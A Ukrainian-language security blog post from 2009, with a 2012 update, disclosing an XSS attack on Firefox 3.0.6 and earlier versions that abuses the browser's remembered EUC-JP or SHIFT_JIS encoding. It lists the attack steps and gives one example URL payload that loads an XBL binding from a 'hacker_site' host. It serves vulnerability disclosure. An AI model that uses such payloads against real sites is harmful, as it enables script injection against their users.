Charset Remembering Firefox’а наносить удар у відповідь
23:58 03.03.200903.03.2009
Так, Charset Remembering Firefox’а наносить удар у відповідь (Firefox’s Charset Remembering strikes back). Раніше я розповідав про Charset Remembering уразливість в Mozilla Firefox. І як я писав в коментарях до свого запису, Mozilla частково виправила уразливість, але виправила лише атаку через UTF-7 (в Firefox 3.0.2). Сама ж Charset Remembering в браузері залишилася, що я перевірив в Firefox 3.0.6. Що може бути використано для проведення подібних атак з іншим кодуванням.
І одразу, як я написав даний коментар, я почав обмірковувати можливість атаки з іншими кодуваннями (окрім UTF-7). В мене виникли підозри, що для даної атаки можна використати кодування EUC-JP або SHIFT_JIS. Що я сьогодні перевірив і підтвердив можливість проведення XSS атаки з EUC-JP (SHIFT_JIS) з використанням Charset Remembering уразливості.
При вказані користувачем для сторінки на сайті кодування, браузер запам’ятовує дане кодування і використовує його в подальшому при всіх запитах до даної сторінки, якщо в ній не вказано кодування. Навіть після перезапуску браузеру - вказане кодування запам’ятовується доти, доки воно не буде змінено на інше. Що дозволить при вказанні кодування EUC-JP (SHIFT_JIS) проводити XSS атаки (при відвіданні сторінок з XSS кодом або приховані атаки через frame/iframe).
Алгоритм атаки (схожий на Charset Remembering з UTF-7):
1. Заманити користувача на сторінку http://site/page.html (де не вказане кодування) і змусити його встановити EUC-JP (SHIFT_JIS) кодування для даної сторінки.
2. Сторінка на сайті, що атакується, повинна бути придатна для проведення XSS атак з variable-width encoding.
3. Розмістити спеціальний XSS код на http://site/page.html (як reflected або persistent) і атакувати користувача на даній сторінці.
4. Доки кодування EUC-JP (SHIFT_JIS) для даної сторінки буде встановлене в браузері, можна буде повторно атакувати користувача.
Уразливі Mozilla Firefox 3.0.6 та всі попередні версії (всі браузери на движку Mozilla).
XSS через Charset Remembering:
Коли фільтруються кутові дужки і лапки, то атакувати можна з використанням -moz-binding.
http://site/page.html?a=%8F&b=%20style=-moz-binding:url(http://hacker_site/xss.xml%23xss)%20
Працює в Mozilla 1.7.x, в Firefox 1.x та потенційно в Firefox 2.x, але не в Firefox 3.0.6 (де виправлений -moz-binding вектор атаки).
Коли фільтруються лише лапки (а кутові дужки можливі), то атакувати можна без -moz-binding.
PoC:
Firefox_XSS_Charset_Remembering.html.
Працює в Mozilla Firefox 3.0.6 та всіх попередніх версіях.
16.06.2012
Як я вияснив, дана атака також може бути проведена при кодуванні Chinese Simplified (HZ). Також XSS і Charset Remembering уразливості наявні в браузерах в Internet Explorer і Opera.